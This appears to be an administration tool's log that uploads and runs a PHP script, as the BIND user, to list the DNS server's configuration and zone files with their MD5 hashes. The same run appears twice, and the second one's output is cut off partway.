MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 12:26:06: Establishing a connection
2026-04-22 12:26:06: 

PUT: /tmp/pkp534405

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 12:26:06: 

runuser -l bind -s /bin/bash -c '/tmp/pkp534405; rm /tmp/pkp534405'

2026-04-22 12:26:06: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 12:26:09: Establishing a connection
2026-04-22 12:26:09: 

PUT: /tmp/pkp502873

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 12:26:09: 

runuser -l bind -s /bin/bash -c '/tmp/pkp502873; rm /tmp/pkp502873'

2026-04-22 12:26:09: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
